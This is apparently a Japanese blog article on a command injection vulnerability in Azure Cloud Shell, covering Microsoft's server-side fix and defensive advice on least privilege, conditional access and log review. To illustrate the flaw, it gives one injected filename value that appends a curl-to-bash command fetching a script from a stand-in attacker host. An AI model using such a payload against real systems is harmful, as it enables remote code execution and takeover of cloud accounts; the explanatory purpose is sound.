ブラウザベースのシェルが「Azureサブスクリプションごと奪われる」可能性があった

2026年5月7日、Microsoft Security Response Center（MSRC）がAzure Cloud Shellのクリティカル脆弱性「CVE-2026-35428」を正式に公開した。コマンドインジェクションを伴うスプーフィング脆弱性であり、悪用に成功した攻撃者はユーザーのCloud Shellセッション内で任意コードを実行し、そのセッションに紐づくAzureサブスクリプション全体を支配下に置くことができた可能性がある。

ただし、利用者側の対処は一切不要。 Microsoftはすでに公開前にサービス側のガバナンス更新を全グローバルインフラに展開しており、ダウンロードやパッチ適用なしに攻撃ベクタをブロック済みだ。

「パッチ不要」という結論だけを見て安心するのは早い。この一件は、Azureのクラウドシェル環境がどのような構造で動いており、どこにリスクが潜むかを鮮明に示している。

Azure Cloud Shellとは何か——便利さの裏側にある「継承リスク」

Azure Cloud Shellは、Azure Portal・Azureモバイルアプリ・shell.azure.comから直接アクセスできるブラウザベースのシェル環境だ。ユーザーごとに管理コンテナが払い出され、BashとPowerShellの両方をサポートする。認証はMicrosoft Entra ID（旧Azure Active Directory）が担い、サインイン済みのIDに紐づくAzure RBAC権限がそのままシェルプロセスに継承される。

この「継承」こそが便利さであり、同時に今回の脆弱性が致命的なポテンシャルを持っていた理由でもある。セッションを乗っ取られた瞬間、攻撃者はKey Vaultのシークレット読み取りからリソース削除まで、ユーザーと同等の権限を手にする。

脆弱性の技術的な仕組み——コマンドインジェクションという古典的な罠

CVE-2026-35428の根本原因はコマンドインジェクションだ。ユーザーが入力した文字列を適切なサニタイズなしにシェルコマンドへ組み込む実装上の欠陥で、セキュリティの世界では「古典的」と呼ばれるほど歴史が長い。

具体例で考えると分かりやすい。仮にCloud Shellがユーザー入力のファイル名を受け取って ls -la <filename> を実行する機能を持っていたとする。入力が file.txt; curl http://evil.com/shell.sh | bash であれば、セミコロン以降が別コマンドとして実行されてしまう。Cloud Shellの文脈では、その後続コマンドはユーザーのAzure RBAC権限で走る。

「スプーフィング」という分類は、攻撃者が正規ユーザーやシェル環境の信頼されたコンポーネントに成りすましてコマンドを実行できる点を指しているとみられる。CVSSスコアはMSRCが「クリティカル」と評した以上、おそらく8.5以上。コンテナ単位の分離によって一人のユーザーへの影響は封じ込められるとはいえ、自動化された攻撃であれば数千セッションを連鎖的に狙うシナリオも排除できない。

Microsoftの対応——「ガバナンス更新」という見えない修正

今回のMicrosoftの対応は特筆に値する。パッチファイルの配布や利用者への設定変更要求を一切伴わず、サービス側のガバナンスロジックを更新して攻撃ベクタを封じた。完全マネージドサービスのメリットをフルに活かした対応だ。

開示のタイミングも計算されている。「修正後に公開」という手順は、CVEの公開が即座に攻撃者へのレシピを提供しないようにするためのベストプラクティスに沿っている。

実務への影響——日本のエンジニア・IT管理者が今すぐ確認すべきこと

利用者側の対処が不要であっても、この脆弱性は以下の観点で実務的な振り返りのきっかけになる。

1. Cloud Shellセッションに「過剰な権限」を持たせていないか確認する Cloud Shellはサインインユーザーの権限をそのまま継承する。管理作業のために常時グローバル管理者でサインインしている環境は、それだけでリスク面積が広い。作業ごとにJust-In-Time（JIT）で必要な権限だけを付与するPIM（Privileged Identity Management）の活用を検討したい。

2. 条件付きアクセスポリシーでCloud Shellへのアクセス元を絞る どのIPやデバイスからでもCloud Shellにアクセスできる状態は好ましくない。準拠デバイス要件や特定のIPレンジへの限定を条件付きアクセスポリシーで設定することで、セッションハイジャックが発生しても攻撃の入口を狭められる。

3. Azure Monitorのアクティビティログを定期的にレビューする 今回のような脆弱性の悪用は、CloudShellセッション内での想定外のAPIコールとして痕跡が残りやすい。AzureActivity テーブルを使ったKustoクエリで、Cloud Shellセッション中の予期しないリソース操作を検知するアラートを整備しておくとよい。

4. Non-Human Identity（NHI）の権限棚卸しを併せて実施する Cloud Shellを使って払い出したサービスプリンシパルやマネージドIDに不必要な権限が残っていないか。今回の脆弱性はCloud Shell経由の乗っ取りを起点に、その先のNHIへの横移動を可能にする。NHIの定期的な棚卸しと最小権限の原則の徹底が改めて重要だ。

筆者の見解

Microsoftがパッチ配布なしに問題を解決できたのは、Azure Cloud Shellが完全マネージドサービスとして設計されているからだ。この構造は長所であり、今回の対応は実際に機能した。その点は率直に評価したい。

一方で、コマンドインジェクションというセキュリティの世界では「教科書の最初のページ」に出てくるような古典的な脆弱性が、Azureの中核サービスに存在していたという事実は、応援する立場だからこそ、見過ごしてはいけない。AzureのプラットフォームとしてのポテンシャルはMicrosoftが最もよく知っているはずで、正面から取り組める技術力があるのだから、入力サニタイズの徹底やセッション分離設計の見直しを含む根本的なセキュアコーディングへの投資を続けてほしいと思う。

ゼロトラストの観点から言えば、今回の一件は「信頼できるサービスの内側でも最小権限を維持する」原則の重要性を再確認させてくれる。Cloud Shellは便利なツールだが、そこに乗るIDとその権限は徹底的に絞るべきだ。常時アクセス権の付与はリスクの固定化につながる。JITアクセスとこまめな棚卸しを地道に続けること——それが今すぐできる最善策だ。

出典: この記事は CVE-2026-35428: Azure Cloud Shell Critical Spoofing Fix—No Patch, New Governance の内容をもとに、筆者の見解を加えて独自に執筆したものです。